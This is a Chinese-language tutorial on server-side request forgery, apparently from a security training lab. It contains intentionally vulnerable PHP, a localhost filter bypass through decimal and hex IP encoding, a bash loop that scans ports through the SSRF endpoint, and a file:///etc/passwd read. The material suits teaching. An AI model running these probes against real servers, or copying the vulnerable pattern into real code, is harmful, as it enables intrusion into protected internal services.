天天看点

OWASP TOP10 - SSRFSSRF

SSRF

This room aims at providing the basic introduction to Server Side request forgery vulnerability(SSRF).

0x01 简述

简单地说,SSRF是web应用程序中的一个漏洞,攻击者可以通过服务器进一步发出HTTP请求。攻击者可以利用此漏洞与服务器网络上通常受防火墙保护的任何内部服务进行通信。

OWASP TOP10 - SSRFSSRF

现在,如果您关注上面的图表,在正常情况下,攻击者只能访问网站并查看网站数据。运行网站的服务器可以与内部GitLab或Postgres数据库通信,但用户不能,因为中间的防火墙只允许访问端口80(HTTP)和443(HTTPS),SSRF将使攻击者能够连接到Postgres并查看其数据,方法是首先连接到网站服务器,然后使用该服务器连接到数据库。Postgres会认为该网站正在从数据库中请求某些内容,但实际上,是攻击者利用网站中的SSRF漏洞获取数据。这个过程通常是这样的:攻击者在网站上发现SSRF漏洞。防火墙允许所有对网站的请求。然后,攻击者通过强制Web服务器从数据库请求数据,然后将数据返回给攻击者,从而利用SSRF漏洞进行攻击。因为请求来自Web服务器,而不是直接来自攻击者,所以防火墙允许该请求通过。  

0x02 原理

该漏洞的主要原因是(通常是)盲目信任用户的输入。在SSRF漏洞的情况下,将要求用户输入URL(或者IP地址)。web应用程序将使用它来发出请求。当输入没有被正确检查或过滤时,就会产生SSRF。 让我们看看一些易受攻击的代码: 假设有一个应用程序获取图像的URL,然后web页面会为您显示该图像。易受攻击的SSRF代码如下所示: <?php   if (isset($_GET['url']))   { $url = $_GET['url']; $image = fopen($url, 'rb'); header("Content-Type: image/png"); fpassthru($image);   } 这是一个简单的PHP代码,它检查是否有一个'url'参数中发送的信息,然后,不执行任何类型的检查,代码只是向用户提交的url发出请求。攻击者基本上完全控制URL,可以通过服务器向Internet上的任何网站发出任意GET请求,也可以访问服务器本身的资源。   绕过:我们通常要做的是将IP编码:以十进制格式或十六进制格式编码。 127.0.0.1可以用对应的十进制和十六进制替换IP来绕过限制。 本地主机IP的十进制版本为“ 2130706433”,十六进制版本为“ 0x7f000001”。 ip转换链接: https://gist.github.com/mzfr/fd9959bea8e7965d851871d09374bb72  

0x03 实验(扫描端口)

OWASP TOP10 - SSRFSSRF
OWASP TOP10 - SSRFSSRF
OWASP TOP10 - SSRFSSRF

  16进制编码绕过

OWASP TOP10 - SSRFSSRF

  bash端口扫描 for x in {1..65535}; do cmd=$(curl -so /dev/null http://10.10.115.201:8000/attack?url=http://2130706433:${x} \         -w '%{size_download}');   if [ $cmd != 1045 ]; then echo "Open port: $x" fi done

OWASP TOP10 - SSRFSSRF

0x04 实验(文件读取)

文件读取file:///etc/passwd

OWASP TOP10 - SSRFSSRF

继续阅读